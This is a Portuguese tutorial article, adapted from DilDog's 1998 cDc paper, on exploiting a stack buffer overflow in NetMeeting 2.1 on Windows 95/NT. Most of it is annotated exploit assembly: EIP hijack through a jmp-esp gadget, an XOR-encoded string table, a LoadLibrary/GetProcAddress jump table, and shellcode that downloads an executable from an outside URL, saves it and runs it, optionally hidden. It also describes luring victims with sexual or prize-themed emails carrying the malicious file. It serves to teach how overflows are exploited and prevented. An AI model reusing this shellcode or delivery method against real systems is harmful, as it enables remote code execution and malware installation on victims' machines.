Segurança
Buffer overflow no Windows
Sab 5 Nov 2005 23:55 |
- Detalhes
- Categoria: Windows, o queijo suíço
- Atualização: Terça, 14 Abril 2009 20:29
- Autor: vovó Vicki
- Acessos: 8179
Um buffer overflow ocorre toda vez que determinado número de bits exceder o espaço de armazenamento que lhes foi reservado. Para os iniciantes, o texto "Buffer overflow" na seção Queijo Suíço da Informática da Aldeia é mais adequado. Para os iniciados, principalmente os programadores, este texto pode ser útil para evitar deixar brechas que permitam exploits.
Considerações iniciais
Um clássico do buffer overflow é o paper do DilDog, publicado em maio de 1998 no site do Cult of the Dead Cow, pessoal que ficou famoso com lançamento do trojan BackOrifice. A base para este texto foi este paper. O exploit usado como exemplo é praticamente inofensivo porque é encontrado no ultrapassado NetMeeting 2.1 e o overflow só acontece no Windows 95 e no antigo NT. Mas só o exemplo é descartável, o princípio e os métodos de exploração não!
Para acompanhar este texto é preciso que você conheça a arquitetura Intel e tenha uma base bastante sólida de Assembly.
Noções fundamentais
Analise o seguinte trecho de código escrito em C:
void func(void) { int i; char buffer[256]; for(i=0; i < 512; i++) buffer[i]='A'; return; }
Mesmo se você não costuma usar a linguagem C (mas tem alguma experiência de programação), é fácil perceber que o código acima têm sérios problemas. Se o buffer possui 256 posições, como é que o loop for, que vem logo a seguir, vai colocar 512 caracteres A neste buffer? A resposta é: não vai! Os primeiros 256 caracteres A preenchem o buffer e, os 256 restantes, vão parar em algum outro lugar.
O lugar para onde vão os 256 As excedentes depende do sistema operacional e da linguagem de programação mas, se não houver uma checagem automática de limites como existe na Java, garanto que os As que sobram vão causar estrago em alguma área da memória!
Logo depois da instrução que inicializou o buffer, a pilha (stack) de 32 bits de um sistema operacional como o Windows 9x/NT correndo numa plataforma Intel tem a seguinte estrutura:
STACK ------------------- Variáveis Locais ESP-> i Buffer ------------------- EBP-> Valor antigo de EBP ------------------- Endereço de Retorno -------------------
Quando o procedimento "func" retorna, ele move EBP de volta para ESP e tira o endereço de retorno da pilha com um POP. Acontece que, depois que a linha de código marcada em vermelho é executada 256 vezes, ela extrapola o tamanho do buffer (taí o overflow) e os As seguintes são escritos por cima do valor antigo de EBP. Pior do que isto, também são escritos por cima do endereço de retorno e a alteração deste endereço afeta seriamente o fluxo do programa.
Agora imagine agora que isto tenha sido proposital. Ao invés de usar caracteres A, o endereço de retorno pode ser alterado de modo que aponte para uma localização de memória da sua escolha e o código que você quer que seja executado será alcançado quando chegar a hora deste procedimento fazer o 'return'. Se o buffer for preenchido com bytes de código, você poderá redirecionar o EIP para eles no próximo RET porque a pilha é considerada como memória executável pelo Windows 9x/NT na arquitetura Intel.
Como detectar um buffer overflow
Se você receber um simpático aviso como o mostrado na Fig.1, então você provavelmente esbarrou num tipo qualquer de buffer overflow. A mensagem parece um tanto vaga mas, se você observar alguns valores mais de perto... bingo!
Esta mensagem foi obtida alimentando o campo 'endereço' do atalho da 'discagem rápida' do 'Microsoft Netmeeting' com uma string composta por bytes 0x80. A mensagem de erro que apareceu logo a seguir mostra que EIP contém 0x80808080. Adivinhe o que isto significa? Nada mais, nada menos do que um overflow de pilha! E com um overflow destes na mão, é a coisa mais fácil fabricar uma string que contenha código malicioso e dar uma ajeitada em quatro destes bytes 0x80 para que apontem para esta string.
É bom esclarecer que uma mensagem de erro deste tipo não necessariamente indica a presença de um buffer overflow e que alguns buffer overflows são mais fáceis de serem explorados do que outros. Além disso, apesar dos heap overflows também poderem ser explorados, este texto vai tratar apenas dos stack overflows.
Como usar um buffer overflow
Quando se encontra um buffer overflow, a primeira coisa é decidir como usá-lo e quais são as ferramentas disponíveis. No caso do NetMeeting, para criar uma situação de buffer overflow, é preciso criar um arquivo com a extensão '.cnf'. Este é um arquivo criado pelo NetMeeting quando se salva um atalho de discagem rápida (SpeedDial) no HD. Arquivos CNF costumam estar em páginas da web e em emails para que as pessoas possam fazer contato.
Caso alguém queira explorar este overflow, basta iniciar o NetMeeting, procurar uma porção de usuários no servidor ILS e enviar-lhes emails com um arquivo CNF anexado. Os emails notoriamente mais chamativos são os que falam de sexo, oferecem fotos eróticas, avisam que há um prêmio à espera da pessoa e outras coisas do gênero. Além de enviar emails para usuários desavisados (ou muito curiosos ), também é possível fazer uma falsa conexão com um servidor ILS, criar uma conta também falsa e fornecer um endereço que, na verdade, é um exploit. Assim que algum usuário clicar no nome deste falso usuário, ele cai na armadilha.
A ferramenta disponível para explorar esta falha de segurança chama-se RUNDLL32.EXE, que é onde ocorre o overflow. Este arquivo tem tamanhos diferentes no Windows 95 e no NT, por isso é bem provável que as tabelas de importação também sejam diferentes (basta verificar com um editor hexadecimal).
Quando ocorre a falha, mesmo fechando a janela da mensagem de erro, o NetMeeting não é fechado. Isto significa que RUNDLL32 estava rodando num espaço próprio, separado do espaço de execução do NetMeeting. Isto tem duas implicações, uma boa e uma ruim. A parte boa da história é que não será preciso analisar um monte de código e que, seja lá o que for feito, não lenvantará muitas suspeitas pelo simples fato de que o processo do NetMeeting não foi encerrado. A parte ruim é que a RUNDLL32 não é carregada da mesma forma que outras DLLs ou recursos externos. Isto nos obriga a carregá-la por conta própria.
Olhando a coisa mais de perto, verifica-se que há mais alguns inconvenientes. Um executável como o RUNDLL32 tem o endereço base 0x00400000. Isto significa que praticamente todas as referências à pilha precisam ter, no mínimo, um caracter NULL. Isto é complicado porque quase sempre as operações com strings em C causam este tipo de overflow quando as strings contêm caracteres NULL. Portanto, se escrevermos o código com caracteres null, a string do exploit tem grande chance de ser estragada - ela será truncada quando for manipulada. Além do NULL, outros caracteres complicados são avanço de linha (line feed), retorno de carro (carriage return), alguns códigos de controle e, em alguns casos extremos, até letras maiúsculas ou minúsculas ou caracteres cujos valores ASCII sejam maiores ou iguais a 0x80 (um dos piores casos!). Para contornar estes problemas vamos precisar usar alguns expedientes.
Outras coisas que vão dar trabalho: a MSCONF.DLL está carregada. Isto ocorre porque ela foi chamada e carregada pelo RUNDLL32. Sabemos disto porque a linha de comando inicial dos arquivos .CNF é "rundll32.exe msconf.dll,OpenConfLink %l". Também podemos supor que a KERNEL32.DLL esteja na memória porque as funções desta DLL estão na tabela de importação da KERNEL32.DLL. Por sua vez, as funções da KERNEL32.DLL também estão na tabela de importação da MSCONF.DLL. Procurando o que possa ser o mais viável devemos analisar o seguinte: estamos hackeando o NetMeeting 2.1. Isto significa que dependemos de uma versão do produto e uma versão da MSCONF.DLL. Por outro lado, as versões do RUNDLL32 ou da KERNEL32 dependem do sistema operacional ou dos upgrades feitos neste sistema. Portanto, se quisermos fazer referência a um endereço de memória virtual absoluto, é melhor que este endereço pertença à MSCONF. Caso contrário, corremos o risco de cutucar no lugar errado! Isto é um problema se quisermos que o exploit funcione em todas as versões do sistema operacional alvo.
Bem, neste caso, é bom dar uma verificada como outros programas obtêm seus endereços. Como o objetivo é usar funções de Internet para botar o código do exploit para funcionar, será preciso usar a WSOCK32.DLL ou a WININET.DLL. A WININET proporciona maior funcionalidade com menos código, portanto é melhor começar com ela. A WININET não está carregada no espaço do RUNDLL32, o que nos obriga a carregá-la. Mas, vamos com calma. Antes disto é preciso explicar como ganhar o controle do EIP e como apontar o código para ele.
Dominando o EIP
Descobrimos que, através de um buffer overflow de um determinado tamanho, poderíamos modificar o endereço de retorno de alguma função e desviar o fluxo de execução para algum ponto da nossa escolha. Neste caso, o normal seria proceder mais ou menos assim:
Endereço = .....256 pontos....1234xyz
Como o tamanho do buffer é de 256 bytes (descobre-se isto por tentativa, aumentando-se ou diminuindo-se o comprimento da linha Endereço = até chegar no comprimento exato que causa o estrago), a linha acima vai preencher o buffer com 256 caracteres ponto (.), escrever por cima de EBP 0x34333231 e preencher o EIP com 0x00ZZYYXX se a string terminar com um NULL. Isto permite que apontemos para qualquer posição da pilha porque, adivinhe só, temos a permissão de colocar um NULL na posição final!
Em alguns casos, isto funciona muito bem. Em outros, o buffer, ou é muito pequeno para esta tarefa, ou é primeiro é bagunçado por uma porção de inserções e operações de string. Em muitos casos, colocar o código DEPOIS do endereço de retorno é uma idéia melhor. Por exemplo:
Endereço = .....256 pontos....1234wxyzOCÓDIGOSEGUEAQUI>>>
Neste caso, com frequência obtém-se muito mais espaço de trabalho mas, em compensação, perde-se o benefício de poder usar um caracter NULL para compor o endereço de salto na pilha. Mesmo assim, neste exemplo, para construir o exploit, a única alternativa viável é colocar o código após o endereço de retorno porque o material antes do endereço de retorno é destruído antes de termos a chance de trabalhar com ele. Terminamos fazendo um salto para 0xZZYYXXWW, onde WW, XX, YY e ZZ não podem ser caracteres inválidos. E onde vamos parar? Onde quisermos
Antes de mais nada, ative o seu debugger de tempo real e insira uma string de exploit que cause a falha. Alguma coisa que aponte para um péssimo endereço (por exemplo, ajuste 0xZZYYXXWW para 0x34333231. Como não há código nesta área da memória, a falha de página é instantânea). Agora é só rodar e deixar que o debugger entre em ação. Examine o estado e veja o que é possível fazer. No caso deste exploit, vemos que ESP é o único registrador que aponta para alguma coisa perto do código do exploit. Na verdade, ele aponta para a localização onde invadimos o EBP armazenado mais 16 bytes.
Bem, o que estamos querendo fazer? Queremos forçar um salto para dentro da pilha. Na verdade, simplesmente saltar para ESP seria suficiente. Um modo esperto de conseguir isto é fazer com que 0xZZYYXXWW aponte para um trecho de código na memória que faça um "jmp esp", um "call esp" ou qualquer coisa do gênero. Mas, para complicar a situação, este trecho precisa ser um código onde nenhum dos bytes do endereço seja um byte "ruim", especialmente um 0x00. Encontramos o código mágico na MSCONF.DLL, carregada em 0x6A600000, deslocamento 2A76:
.00002A76: 54 push esp .00002A77: 2404 and al,004 .00002A79: 33C0 xor eax,eax .00002A7B: 8A0A mov cl,[edx] .00002A7D: 84C9 test cl,cl .00002A7F: 740F je .000002A90 .00002A81: 80E930 sub cl,030 ;"0" .00002A84: 8D0480 lea eax,[eax][eax]*4 .00002A87: 0FB6C9 movzx ecx,cl .00002A8A: 42 inc edx .00002A8B: 8D0441 lea eax,[ecx][eax]*2 .00002A8E: EBEB jmps .000002A7B .00002A90: C20400 retn 00004
Olhando para este código, onde está o salto para ESP? Não está, porque não faz mesmo. Ele apenas retorna para ESP. Acontece um PUSH ESP, o jmps 2A7B acontece uma vez e, depois, o JE 2A90 entra em ação e nos leva para um RET. Na verdade, é isto que faz o salto para ESP. Até aqui, tudo conforme o planejado. A MSCONF.DLL está carregada e podemos esperar que este código esteja no mesmo lugar o tempo todo porque só há uma versão da MSCONF.DLL que tem um endereço base fixo. Neste caso, nosso endereço 0xZZYYXXWW é 0x6A602A76. Nada de NULLs, caracteres proibidos ou outro tipo de enrosco. O EIP foi dominado e o processador é nosso!
Construindo o exploit
Agora que temos o controle da máquina, está na hora de botar a mão na massa. Acontece que há uma limitação no tamanho do código. Você vai notar que, após cerca de 763 caracteres, somos jogados para um lugar completamente diferente do pretendido. Este é mais um overflow, diferente do primeiro, e a Microsoft vai ter que consertar dois bugs
Vamos ficar apenas com o primeiro overflow. Com os primeiros 256 caracteres varridos do mapa, sobram cerca de 500 bytes para albergar nosso código. Aqui está o que é preciso ser considerado:
- Comprimento máximo do exploit: 500 bytes.
- Não conhecemos a versão do sistema operacional.
- Não sabemos onde estão localizadas funções que podem ser úteis.
A coisa está complicada, mas vamos analisá-la sob um ponto de vista de não-exploit. Um pequeno executável, compilado para Windows, roda tanto no Win95 quanto no WinNT. Quando um processo de saída (ExitProcess) é chamado, dependendo do sistema operacional, esta função está em lugares diferentes na KERNEL32.DLL. Como achá-la? Existe uma função na API do Windows, chamada "GetProcAddress", que serve para determinar a localização de funções. Fornecendo o nome e o manipulador (handle) de uma função, ela retorna o endereço de memória da mesma. Meio caminho andado, mas... qual é o endereço da GetProcAddress? Não temos outra saída a não ser chamá-la para descobrir. E como isto é feito? Através das tabelas de importação.
Tabelas de importação são estruturas do formato PE (o formato dos executáveis) que especificam o endereço de certas funções. Você pode usar o DUMPBIN (ou programas semelhantes) para obter estas tabelas. Tanto as DLLs quanto os EXEs possuem tabelas de importação. Como estamos lidando com apenas uma versão da MSCONF.DLL e sabemos que ela está na memória então, se GetProcAddress estiver na sua tabela de importação, o endereço da GetProcAddress será colocado pelo sistema operacional num determinado local do espaço de tabela da MSCONFIG.DLL.
Então, é só fazer um dump:
Microsoft (R) COFF Binary File Dumper Version 5.10.7303 Copyright (C) Microsoft Corp 1992-1997. All rights reserved. Dump of file msconf.dll File Type: DLL Section contains the following imports: KERNEL32.dll 23F Sleep 183 IsBadReadPtr 17E InterlockedIncrement . . . 1E CompareStringA 98 FreeLibrary 116 GetProcAddress 190 LoadLibraryA 4C DeleteCriticalSection 51 DisableThreadLibraryCalls . . .
É isso aí! GetProcAddress e LoadLibraryA! A LoadLibrary pode ser usada para obter os manipuladores (handles) das DLLs carregadas e para carregar DLLs que não foram carregadas. Sua tarefa básica é retornar o endereço base de DLLs. Isto é importante porque o endereço base da KERNEL32.DLL é diferente no Win95 e no NT.
Depois desta constatação, entramos no debugger e vasculhamos a memória até encontrar o endereço destas funções. Eles aparecem em 0x6A60107C (LoadLibraryA) e em 0x6A601078 (GetProcAddress). Agora é só chamar estas localizações usando endereçamento indireto (call dword ptr [0x6A60107C]) para chegar no lugar certo.
Para ser mais eficiente, vamos construir o exploit em duas partes:
- Construir uma tabela de saltos das funções que pretendemos usar e
- Rodar o código usando esta tabela.
Isto reduz a quantidade de código para chamar a função quando for preciso e miniminiza o uso da pilha para salvar registradores. Isto é importante porque, se usarmos PUSH e POP em excesso, o risco de detonar nosso código ou de causar outros problemas na pilha é muito grande. Mas, para construir a tabela de saltos, primeiro precisamos saber quais funções do Win32 precisam ser chamadas. Como 500 bytes é um espaço muito reduzido para conter um programa Windows realmente útil, usaremos este espaço apenas para chamar e executar um outro programa na Internet, um executável maior e mais bem construído. Ao invés de ficar se matando para reduzir o código a 500 bytes podemos executar um código de nível mais alto.
Para fazer o download de uma URL, precisamos das funções da WININET.DLL InternetOpenA, InternetCloseHandle, InternetOpenUrlA e InternetReadFile. Também vamos precisar da lcreat, _lwrite e _lclose da KERNEL32.DLL para salvar o arquivo em disco depois de terminado o download. Precisamos da GlobalAlloc da KERNEL32.DLL para alocar memória para o arquivo baixado e também da WinExec e ExitProcess (também da KERNEL32.DLL) para poder executar o que foi baixado e matar o processo do RUNDLL32 que foi corrompido totalmente antes que pudesse dar qualquer sinal de alerta
Saiba que num programa Win32 normal nunca é preciso chamar _lcreate ou qualquer outra função obsoleta. Entretanto, elas existem no Win95 e no NT e têm uma sintaxe de chamada bem mais simples do que a função CreateFile e outras semelhantes. É por isto que elas foram escolhidas.
Criando a tabela de saltos
Mãos à obra, vamos criar a tabela de saltos.
- Problema número 1: precisamos chamar as funções pelo nome.
É isto mesmo, GetProcAddress aceita tanto um número (que não podemos usar porque é diferente nas diferentes versões) quanto um nome para a função que deve ser pesquisada. Mas o nome precisa terminar com um NULL. Hmmmm... encrenca à vista. Deveríamos ter pensado nisto antes! Mas isto não é tudo. Também precisamos juntar este troço com uma string da URL para fazer o download!
O negócio é botar a cabeça para funcionar. Como nenhum dos caracteres dos nomes das funções que precisamos, nem dos da URL para download, é maior do que ASCII 0x80, é seguro colocar os nomes das funções e a URL no final da string do exploit e depois fazer um XOR (ou ADD) 0x80 com cada byte. Quando o exploit começar a ser executado, é fácil obter novamente os valores originais fazendo novo XOR com 0x80. Além disso, existe uma vantagem adicional neste procedimento: quem for analisar o exploit terá dificuldade de descobrir o que estamos tentando fazer. Não é uma encriptação boa, mas este também não é o objetivo. Estamos apenas tentando fazer a coisa funcionar.
Assim, colocamos o seguinte no final da string do exploit:
00000270: .. .. .. .. .. .. .. 4B-45 52 4E 45-4C 33 32 00 KERNEL32 00000280: 5F 6C 63 72-65 61 74 00-5F 6C 77 72-69 74 65 00 _lcreat _lwrite 00000290: 5F 6C 63 6C-6F 73 65 00-57 69 6E 45-78 65 63 00 _lclose WinExec 000002A0: 45 78 69 74-50 72 6F 63-65 73 73 00-47 6C 6F 62 ExitProcessGlob 000002B0: 61 6C 41 6C-6C 6F 63 00-57 49 4E 49-4E 45 54 00 alAlloc WININET 000002C0: 49 6E 74 65-72 6E 65 74-4F 70 65 6E-41 00 49 6E InternetOpenA In 000002D0: 74 65 72 6E-65 74 43 6C-6F 73 65 48-61 6E 64 6C ternetCloseHandl 000002E0: 65 00 49 6E-74 65 72 6E-65 74 4F 70-65 6E 55 72 e InternetOpenUr 000002F0: 6C 41 00 49-6E 74 65 72-6E 65 74 52-65 61 64 46 lA InternetReadF 00000300: 69 6C 65 00-68 74 74 70-3A 2F 2F 77-77 77 2E 6C ile http://www.l 00000310: 30 70 68 74-2E 63 6F 6D-2F 7E 64 69-6C 64 6F 67 0pht.com/~dildog 00000320: 2F 65 61 74-6D 65 2E 65-78 65 00 .. .. .. .. .. /eatme.exe
Mas, se usarmos o XOR com 0x80 para eliminar os bytes 00, a coisa fica assim:
00000270: .. .. .. .. .. .. .. CB-C5 D2 CE C5-CC B3 B2 80 -+-++¶¶_« 00000280: DF EC E3 F2-E5 E1 F4 80-DF EC F7 F2-E9 F4 E5 80 __�__þ_«_______« 00000290: DF EC E3 EC-EF F3 E5 80-D7 E9 EE C5-F8 E5 E3 80 __�____«+__+ƒ_�« 000002A0: C5 F8 E9 F4-D0 F2 EF E3-E5 F3 F3 80-C7 EC EF E2 +ƒ__-__�___«¶___ 000002B0: E1 EC C1 EC-EC EF E3 80-D7 C9 CE C9-CE C5 D4 80 þ_-___�«+++++++« 000002C0: C9 EE F4 E5-F2 EE E5 F4-CF F0 E5 EE-C1 80 C9 EE +_______-___-«+_ 000002D0: F4 E5 F2 EE-E5 F4 C3 EC-EF F3 E5 C8-E1 EE E4 EC ______+____+þ___ 000002E0: E5 80 C9 EE-F4 E5 F2 EE-E5 F4 CF F0-E5 EE D5 F2 _«+_______-___+_ 000002F0: EC C1 80 C9-EE F4 E5 F2-EE E5 F4 D2-E5 E1 E4 C6 _-«+_______-_þ_¶ 00000300: E9 EC E5 80-E8 F4 F4 F0-BA AF AF F7-F7 F7 AE EC ___«____¶ªª___´_ 00000310: B0 F0 E8 F4-AE E3 EF ED-AF FE E4 E9-EC E4 EF E7 ____´�__ª_______ 00000320: AF E5 E1 F4-ED E5 AE E5-F8 E5 80 .. .. .. .. .. ª_þ___
- Problema número 2: Precisamos decodificar a tabela de strings
Neste caso, a primeira tarefa do nosso código será decodificar esta salada, ou seja:
00000146: 33C9 xor ecx,ecx ; Zerar ECX 00000148: B88053FF63 mov eax,063FF5380 ; "c_S«" 0000014D: 2C80 sub al,080 ;"«" 0000014F: C1C018 rol eax,018 Apontar EAX para o fim dos nossos dados na área da memória (precisamos fazer isto para não pegar nenhum caracter NULL) 00000152: B1B4 mov cl,0B4 ;"¶" ECX agora é 0x000000B4, o número de caracteres que queremos XORar. 00000154: 48 dec eax 00000155: 803080 xor b,[eax],080 ;"«" 00000158: E2FA loop 000000154 ---------- (1)
E aqui está o loop XOR. Agora dá para perceber porque começamos pelo fim. Foi para que, no fim deste loop, EAX apontasse para o início dos dados e para usá-lo imediatamente para obter os nomes. Agora vamos prosseguir com a tabela de saltos.
- Problema número 3: Carregar todos os endereços dos procedimentos.
0000015A: BE7C10606A mov esi,06A60107C 0000015F: 50 push eax 00000160: 50 push eax 00000161: FF16 call d,[esi] 00000163: 8BF0 mov esi,eax
O que este código faz é chamar LoadModule. Não há necessidade de fazer dois PUSH (um sobrou da depuração e foi esquecido. Se quiser, anuleo com NOP). EAX apontava para a string "KERNEL32", que era o primeiro argumento para o LoadModule. Quando o LoadModule retornar, ele colocará o manipulador do módulo kernel em EAX, o qual guardamos em ESI para que não seja perdido quando chamamrmos outros procedimentos.
00000165: 5B pop ebx 00000166: 8BFB mov edi,ebx 00000168: 6681EF4BFF sub di,0FF4B ;"_K"
Isto faz com que EDI aponte para a base da tabela de saltos, a qual colocamos após 181 bytes do início da tabela de strings decodificada (ainda no espaço da pilha).
0000016D: FC cld 0000016E: 33C9 xor ecx,ecx 00000170: 80E9FA sub cl,-006
Faremos um loop de seis passos para carregar os seis procedimentos do kernel. Assim, agora ECX=0x00000006.
00000173: 43 inc ebx 00000174: 32C0 xor al,al 00000176: D7 xlat 00000177: 84C0 test al,al 00000179: 75F8 jne 000000173 ---------- (1) 0000017B: 43 inc ebx
Este loop corre o texto à procura de caracteres NULL (em outras palavras, vai para a próxima string) e depois aponta EBX para o caracter que segue o byte 0x00. Isto nos desloca de um nome de procedimento para o seguinte. Observe o uso de XLAT em 31337. Gosto disso. A referência de toda a memória num único byte. Uma gracinha.
0000017C: 51 push ecx 0000017D: 53 push ebx 0000017E: 56 push esi 0000017F: FF157810606A call d,[06A601078] 00000185: AB stosd 00000186: 59 pop ecx
Isto pega os endereços dos procedimentos das nossas funções e os coloca na tabela apontada por EDI.
00000187: E2EA loop 000000173 ---------- (2)
Loop para todos os procedimentos do kernel.
Agora que acabamos com o kernel, precisamos repetir tudo para os procedimentos da WININET.
00000189: 43 inc ebx 0000018A: 32C0 xor al,al 0000018C: D7 xlat 0000018D: 84C0 test al,al 0000018F: 75F8 jne 000000189 ---------- (2) 00000191: 43 inc ebx
Este código só existe para mover EBX para além do nome da última função do kernel e para a string "WININET" da tabela de strings decodificada.
00000192: 53 push ebx 00000193: 53 push ebx 00000194: FF157C10606A call d,[06A60107C] 0000019A: 8BF0 mov esi,eax 0000019C: 90 nop 0000019D: 90 nop 0000019E: 90 nop 0000019F: 90 nop
É isso mesmo, os NOPs e os PUSH duplos são lixo de debugação. Se quiser, pode anulá-los com NOP. Este código pega os manipuladores dos módulos (endereço base) da WININET.DLL. Ele os guarda em ESI.
000001A0: 33C9 xor ecx,ecx 000001A2: 83E9FC sub ecx,-004 000001A5: 43 inc ebx 000001A6: 32C0 xor al,al 000001A8: D7 xlat 000001A9: 84C0 test al,al 000001AB: 75F8 jne 0000001A5 000001AD: 43 inc ebx 000001AE: 51 push ecx 000001AF: 53 push ebx 000001B0: 56 push esi 000001B1: FF157810606A call d,[06A601078] 000001B7: AB stosd 000001B8: 59 pop ecx 000001B9: E2EA loop 0000001A5
Este código é apenas uma cópia do usado para obter os endereços das funções do kernel, só que, desta vez, está pegando os endereçõs das 4 funções da WININET. Por isto, não há necessidade de explicar tudo novamente. Muito bem, a tabela de saltos está pronta. EDI aponta para o dword depois do fim da tabela de saltos de modo que agora podemos referenciar os procedimentos indiretamente através de EDI (call dword ptr [edi-16]). É como se fosse uma tabela de importação, porém muito mais divertido!
O chantilly do exploit
Já que exploramos todas as ferramentas disponíveis, chegou a hora do bem bom.
000001BB: 90 nop 000001BC: 90 nop 000001BD: 33C0 xor eax,eax 000001BF: 6648 dec ax 000001C1: D1E0 shl eax,1 000001C3: 33D2 xor edx,edx 000001C5: 50 push eax 000001C6: 52 push edx 000001C7: FF57EC call d,[edi][-0014] 000001CA: 8BF0 mov esi,eax
Este código aloca 131070 bytes de memória. EAX fica com 131070 e chamamos GlobalAlloc através de endereçamento indireto usando EDI a partir da tabela de saltos -0x14 bytes. Isto coloca o endereço de memória em ESI. O tipo de GlobalAlloc é GMEM_FIXED (0), o que retorna um endereço de memória ao invés de um manipulador destravado (unlocked handle).
000001CC: 33D2 xor edx,edx 000001CE: 52 push edx 000001CF: 52 push edx 000001D0: 52 push edx 000001D1: 52 push edx 000001D2: 57 push edi 000001D3: FF57F0 call d,[edi][-0010]
Depois, criamos um manipulador de Internet com uma chamada para InternetOpenA. Para nossa sorte, neste caso, todos os parâmetros para InternetOpenA são zero.
O manipulador de Internet retorna em EAX e vamos usá-lo imediatamente como parâmetro da próxima função chamada.
000001D6: 33D2 xor edx,edx 000001D8: 52 push edx 000001D9: 52 push edx 000001DA: 52 push edx 000001DB: 90 nop 000001DC: 52 push edx 000001DD: 8BD7 mov edx,edi 000001DF: 83EA50 sub edx,050 ;"P" 000001E2: 90 nop 000001E3: 90 nop 000001E4: 90 nop 000001E5: 52 push edx 000001E6: 50 push eax 000001E7: FF57F8 call d,[edi][-0008]
Este código chama InternetOpenUrlA (em [EDI-0x08]), solicitando a URL que escolhemos. O tipo da URL não é especificado no código de modo que a URL pode ser HTTP, FTP, FILE, GOPHER,... ou o que você quiser.
000001EA: 57 push edi 000001EB: 33D2 xor edx,edx 000001ED: 664A dec dx 000001EF: D1E2 shl edx,1 000001F1: 52 push edx 000001F2: 56 push esi 000001F3: 50 push eax 000001F4: FF57FC call d,[edi][-0004]
Este código usa a função InternetReadFile (em [EDI-0x04]) para fazer o download de até 131070 bytes e colocá-los no buffer de memória (o ponteiro está em ESI). Observe que, inicialmente, foi feito um PUSH de EDI. EDI é onde está o contador dos bytes lidos. Isto é necessário para que o arquivo seja armazenado em disco com o tamanho correto.
Observe também que há um limite para o tamanho do executável exploit que pode ser baixado.
000001F7: 90 nop 000001F8: 90 nop 000001F9: 90 nop 000001FA: 33D2 xor edx,edx 000001FC: 52 push edx 000001FD: 8BD7 mov edx,edi 000001FF: 83EA30 sub edx,030 ;"0" 00000202: 42 inc edx 00000203: 90 nop 00000204: 90 nop 00000205: 52 push edx 00000206: FF57D8 call d,[edi][-0028]
Isto chama a _lcreate (em [EDI-0x28]) para criar um arquivo para o qual poderemos transferir o conteúdo do buffer de memória. Está na hora de dar um lar para os nossos dados! O nome do arquivo é escolhido levando em consideração os últimos 5 caracteres da URL. Neste caso, é "e.exe". Este arquivo será criado no local de onde o exploit foi disparado (geralmente o diretório onde está o 'SpeedDial' do NetMeeting).
00000209: FF37 push d,[edi] 0000020B: 56 push esi 0000020C: 50 push eax 0000020D: 8BD8 mov ebx,eax 0000020F: FF57DC call d,[edi][-0024]
Neste ponto será feita a escrita para o disco com a chamada para _lwrite (em [EDI-0x24]). O parâmetro com o número de bytes que devem ser escritos está em [EDI]. Portanto, faz-se um PUSH da localização do buffer e do manipulador do arquivo retornado pela _lcreat. Mas, antes de chamar a função, é preciso salvar o manipulador em EBX, o qual não é modificado por _lwrite.
00000212: 53 push ebx 00000213: FF57E0 call d,[edi][-0020]
Finalmente, fechamos o manipulador do arquivo para sacramentar o delito. Agora, tudo o que resta fazer é executar o arquivo baixado e encerrar este processo. Não é preciso se preocupar em limpar a memória ou qualquer coisa do gênero. Seria mais elegante mas, neste caso, não existe nada de elegante
00000216: 90 nop 00000217: 90 nop 00000218: 90 nop 00000219: 33D2 xor edx,edx 0000021B: 42 inc edx 0000021C: 52 push edx 0000021D: 8BD7 mov edx,edi 0000021F: 83EA30 sub edx,030 ;"0" 00000222: 42 inc edx 00000223: 90 nop 00000224: 90 nop 00000225: 52 push edx 00000226: FF57E4 call d,[edi][-001C]
Pois bem, agora basta mandar um aviso para o WinExec rodar o executável! Observe que o primeiro 'inc edx' serve para selecionar o modo "Show Window" do executável. Se você quiser que o executável rode no mocó (escondido), então elimine este linha com um NOP. Neste caso, ao invés de SW_SHOWNORMAL, o modo SW_HIDE é que será ativado. Este é o segundo parâmetro do WinExec; o primeiro é o nome do arquivo.
00000229: 90 nop 0000022A: 90 nop 0000022B: 90 nop 0000022C: FF57E8 call d,[edi][-0018]
Missão cumprida! O ExitProcess vai limpar a bagunça que foi feita. É isso aí.
Fontes
- cDc - Cult of the Dead Cow, The Tao of Windows Buffer Overflow
- Linux Journal, Buffer Overflow Attacks and Their Countermeasures
- Phrack 49, Smashing The Stack For Fun And Profit